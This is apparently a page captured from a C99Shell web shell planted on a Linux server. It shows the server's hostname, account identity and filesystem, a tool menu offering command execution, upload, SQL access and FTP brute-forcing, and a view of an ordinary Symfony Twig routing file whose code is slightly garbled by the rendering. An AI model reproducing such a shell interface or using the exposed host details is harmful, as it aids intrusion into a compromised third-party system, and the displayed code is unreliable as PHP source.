!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache. PHP/7.3.33 

uname -a: Linux acloudg.aryanict.com 4.18.0-513.9.1.lve.el8.x86_64 #1 SMP Mon Dec 4 15:01:22 UTC
2023 x86_64
 

uid=1095(katebhospital) gid=1098(katebhospital) groups=1098(katebhospital) 

Safe-mode: OFF (not secure)

/opt/alt/php55/usr/share/pear/Symfony/Bridge/Twig/Extension/   drwxr-xr-x
Free 293.98 GB of 429.69 GB (68.42%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     RoutingExtension.php (3.54 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/*
 * This file is part of the Symfony package.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Symfony\Bridge\Twig\Extension;

use 
Symfony\Component\Routing\Generator\UrlGeneratorInterface;

/**
 * Provides integration of the Routing component with Twig.
 *
 * @author Fabien Potencier <fabien@symfony.com>
 */
class RoutingExtension extends \Twig_Extension
{
    private 
$generator;

    public function 
__construct(UrlGeneratorInterface $generator)
    {
        
$this->generator $generator;
    }

    
/**
     * Returns a list of functions to add to the existing list.
     *
     * @return array An array of functions
     */
    
public function getFunctions()
    {
        return array(
            new \
Twig_SimpleFunction('url', array($this'getUrl'), array('is_safe_callback' => array($this'isUrlGenerationSafe'))),
            new \
Twig_SimpleFunction('path', array($this'getPath'), array('is_safe_callback' => array($this'isUrlGenerationSafe'))),
        );
    }

    public function 
getPath($name$parameters = array(), $relative false)
    {
        return 
$this->generator->generate($name$parameters$relative UrlGeneratorInterface::RELATIVE_PATH UrlGeneratorInterface::ABSOLUTE_PATH);
    }

    public function 
getUrl($name$parameters = array(), $schemeRelative false)
    {
        return 
$this->generator->generate($name$parameters$schemeRelative UrlGeneratorInterface::NETWORK_PATH UrlGeneratorInterface::ABSOLUTE_URL);
    }

    
/**
     * Determines at compile time whether the generated URL will be safe and thus
     * saving the unneeded automatic escaping for performance reasons.
     *
     * The URL generation process percent encodes non-alphanumeric characters. So there is no risk
     * that malicious/invalid characters are part of the URL. The only character within an URL that
     * must be escaped in html is the ampersand ("&") which separates query params. So we cannot mark
     * the URL generation as always safe, but only when we are sure there won't be multiple query
     * params. This is the case when there are none or only one constant parameter given.
     * E.g. we know beforehand this will be safe:
     * - path('route')
     * - path('route', {'param': 'value'})
     * But the following may not:
     * - path('route', var)
     * - path('route', {'param': ['val1', 'val2'] }) // a sub-array
     * - path('route', {'param1': 'value1', 'param2': 'value2'})
     * If param1 and param2 reference placeholder in the route, it would still be safe. But we don't know.
     *
     * @param \Twig_Node $argsNode The arguments of the path/url function
     *
     * @return array An array with the contexts the URL is safe
     */
    
public function isUrlGenerationSafe(\Twig_Node $argsNode)
    {
        
// support named arguments
        
$paramsNode $argsNode->hasNode('parameters') ? $argsNode->getNode('parameters') : (
            
$argsNode->hasNode(1) ? $argsNode->getNode(1) : null
        
);

        if (
null === $paramsNode || $paramsNode instanceof \Twig_Node_Expression_Array && count($paramsNode) <= &&
            (!
$paramsNode->hasNode(1) || $paramsNode->getNode(1) instanceof \Twig_Node_Expression_Constant)
        ) {
            return array(
'html');
        }

        return array();
    }

    
/**
     * Returns the name of the extension.
     *
     * @return string The extension name
     */
    
public function getName()
    {
        return 
'routing';
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0916 ]--